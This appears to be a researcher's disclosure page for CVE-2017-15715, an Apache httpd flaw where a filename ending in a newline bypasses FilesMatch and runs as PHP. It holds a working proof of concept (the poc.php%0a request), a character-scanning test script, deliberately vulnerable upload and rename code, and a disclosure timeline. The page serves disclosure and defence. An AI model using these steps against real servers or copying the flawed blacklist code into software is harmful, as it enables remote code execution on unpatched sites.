Description
In Apache httpd 2.4.0 to 2.4.29, the expression specified in
CVE-2017-15715 Proof-of-Concept
Apache configuration
Example configuration, Apache2 on Ubuntu default
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
Simplified version - file name must END with .php (like recommended on Apache documentation):
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Entire point in demonstrated FilesMatch directive is: file can be executed as PHP program code if file name ENDS with .php (and ONLY .php) extension.
Filename
<?php
file_put_contents('poc.php'.chr(10), '<?php phpinfo(); ?>');
?>
Access it via HTTP request: poc.php%0a
%0a
It means - FilesMatch accepted something extra.
The Reason behind this problem is probably in PCRE: https://www.pcre.org/original/doc/html/pcreposix.html#SEC4.
Related links
- CVE Mitre: CVE-2017-15715
- NVD: CVE-2017-15715
- Apache: CVE-2017-15715
Preconditions
- User need to control file name. At least in Apache+PHP combination I don't know how to upload file name with leading newline character, it means control over file name must come via "rename" functionality.
- For direct access with HTTP request, file must be located in public folder.
Entire test-code
<?php
define('DIR_LOCAL_FOLDER', 'tmp/');
define('URL_LOCATION', 'http://localhost/extension/tmp/');
exec('mkdir '.DIR_LOCAL_FOLDER);
function testForCharCode($charcode) {
$ucode = str_pad(dechex($charcode), 4, '0', STR_PAD_LEFT);
$uchr = json_decode('"\u'.$ucode.'"');
$local_file_name = 'test_'.$charcode.'.php'.$uchr;
$url_file_name = 'test_'.$charcode.'.php'.rawurlencode($uchr);
$info = 'chr('.$charcode.') / \u'.$ucode.' / '.rawurlencode($uchr);
if (!@file_put_contents(DIR_LOCAL_FOLDER.$local_file_name, '<?php echo 50-40; ?>')) {
echo '[E] Can not write file for chr('.$charcode.')'.$local_file_name, PHP_EOL;
return false;
}
$url = URL_LOCATION.$url_file_name;
$src = @file_get_contents($url);
if (false === $src) {
echo '[E] Can not read URL for '.$info.': '.$url, PHP_EOL;
return false;
}
if ($src == '10') {
echo '[+] PHP EXECUTION FROM '.$info.': '.$url, PHP_EOL;
return true;
}
// echo '[-] No exec from '.$info.': '.$url, PHP_EOL;
return false;
}
for($i = 1; $i < 1024*64; $i++) {
testForCharCode($i);
}
exec('rm -rf '.DIR_LOCAL_FOLDER);
?>
Example of vulnerable code
.php is blacklisted, application creates file and file name comes from user
<?php
// when just .php is blacklisted
if (isset($_REQUEST['filename']) && 'php' !== strtolower(pathinfo($_REQUEST['filename'], PATHINFO_EXTENSION))) {
file_put_contents($_REQUEST['filename'], '<?php phpinfo(); ?>');
}
?>
.php is blacklisted, application allows user to rename file and file name comes from user
<?php
if (isset($_REQUEST['filename']) && 'php' !== strtolower(pathinfo($_REQUEST['filename'], PATHINFO_EXTENSION))) {
rename('previous.txt', $_REQUEST['filename'], '<?php phpinfo(); ?>');
}
?>
Suggestions
All httpd users should upgrade to 2.4.30 or later.
Vulnerability Disclosure Timeline
Timezone for dates: Tallinn/Europe
- 2017-11-24 | me > Apache | Description and PoC to security@httpd.apache.org
- 2017-11-26 | Apache > me | Thanks for PoC
- 2017-11-26 .. 2016-11-28 | me < > Apache | 15 emails of discussions and clarifications
- 2017-12-06 | me > Apache | Any news?
- 2017-12-06 | Apache > me | Research about scope, planning release
- 2018-01-25 | me > Apache | Any news?
- 2018-02-02 | Apache > me | CVE assigned, patch ready
- 2018-02-19 | Apache | fixed/tag in github, not released https://github.com/apache/httpd/releases
- 2018-03-21 | Apache | Released in 2.4.32 https://www.apachelounge.com/Changelog-2.4.html
- 2018-03-23 | Apache | Disclosed in oss-sec mailinglist http://seclists.org/oss-sec/2018/q1/269
- 2018-04-24 | me | Full Disclosure on security.elarlang.eu
Comments
comments powered by Disqus